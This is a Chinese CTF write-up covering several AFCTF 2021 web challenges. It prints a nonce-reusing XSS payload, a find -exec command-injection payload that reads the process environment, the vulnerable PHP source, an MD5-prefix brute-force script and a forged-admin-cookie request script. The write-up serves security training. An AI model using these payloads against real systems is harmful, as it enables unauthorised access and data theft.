【Web】AFCTF 2021 题解(部分)

2024-04-19 13:12
文章标签 web 部分 2021 题解 afctf

本文主要是介绍【Web】AFCTF 2021 题解(部分),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

BABY_CSP

search

secret

google authenticator


随便做做,环境是NSS上的

BABY_CSP

CSP绕过_script-src 'self-CSDN博客 

CSP指令值

*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次; 

发包,响应头有CSP字段,给了nonce值

 

以变量形式输出flag

payload:

?school=<script nonce="29de6fde0db5686d">alert(flag);</script>

 右键查看源码拿到flag

 

 

访问/www.zip拿到源码

<?php
error_reporting(0);
$argv = $_GET["search"];
for ($i = 0; $i < strlen($argv); $i++) {if (($argv[$i] == '&') ||($argv[$i] == '>') ||($argv[$i] == '<') ||($argv[$i] == '(') ||($argv[$i] == ';') ||($argv[$i] == '|')) {if ($i == 0) {goto error;}if (($i == 1) && ($argv[0] == '\\')) {continue;}if (($argv[$i - 1] == '\\') && ($argv[$i - 2] != '\\')) {continue;}error:exit("Input contains prohibited characters!<br>");}
}
echo "<h3>Search reslut:</h3><br>";
system("find / -iname " . $argv);
?>

逻辑就是,如果输入检查发现非法字符,并且这些字符不是被合法转义,脚本执行exit,输出错误信息并停止运行。就是不让拼接多条命令,强制要求直接对find命令进行利用

find命令进阶(二):对找到的文件执行操作exec_find 寻找特定目录下的文件并执行-CSDN博客

payload:

/search.php?search=environ -exec cat {} \;

 

secret

 

写脚本爆md5

import hashlib
import itertools
import string# 目标MD5哈希的前6个字符
target = '1af15e'# 尝试的密码字符集,这里使用了字母和数字,可以根据需要调整
charset = string.ascii_letters + string.digits# 密码的最大长度,可以根据实际情况调整
max_length = 6# 爆破密码
def brute_force():for length in range(1, max_length + 1):# itertools.product生成所有可能的密码组合for attempt in itertools.product(charset, repeat=length):# 将密码组合转换为字符串password = ''.join(attempt)# 计算密码的MD5哈希,并取前6个字符hash = hashlib.md5(password.encode()).hexdigest()[:6]# 检查哈希是否与目标匹配if hash == target:return passwordreturn None# 运行爆破函数
password = brute_force()if password:print(f"Found password: {password}")
else:print("Password not found.")

 

先随便注册一个号

 

再去登录

 

点击secret回显只有admin能看

 

 

cookie有一段加密逻辑,笨人整不来整不来,看个乐就好

import requestsdef encrypt(s):res = ""for i in s:if ord(i)%2 == 0:res += chr(ord(i) + 2)else:res += chr(ord(i) - 2)res += "a"return resdef main():url = "http://node4.anna.nssctf.cn:28389/" + "secret.jsp"cookies = {"usr" : encrypt("admin")}res = requests.get(url, cookies=cookies)print(res.text)if __name__ == "__main__":main()

 

google authenticator

神 

[AFCTF 2021]google authenticator-CSDN博客 

这篇关于【Web】AFCTF 2021 题解(部分)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/917633

相关文章

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

Python使用Reflex构建现代Web应用的完全指南

《Python使用Reflex构建现代Web应用的完全指南》这篇文章为大家深入介绍了Reflex框架的设计理念,技术特性,项目结构,核心API,实际开发流程以及与其他框架的对比和部署建议,感兴趣的小伙... 目录什么是 ReFlex?为什么选择 Reflex?安装与环境配置构建你的第一个应用核心概念解析组件

Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例

《Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例》本文介绍Nginx+Keepalived实现Web集群高可用负载均衡的部署与测试,涵盖架构设计、环境配置、健康检查、... 目录前言一、架构设计二、环境准备三、案例部署配置 前端 Keepalived配置 前端 Nginx

一文详解如何在Python中从字符串中提取部分内容

《一文详解如何在Python中从字符串中提取部分内容》:本文主要介绍如何在Python中从字符串中提取部分内容的相关资料,包括使用正则表达式、Pyparsing库、AST(抽象语法树)、字符串操作... 目录前言解决方案方法一:使用正则表达式方法二:使用 Pyparsing方法三:使用 AST方法四:使用字

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re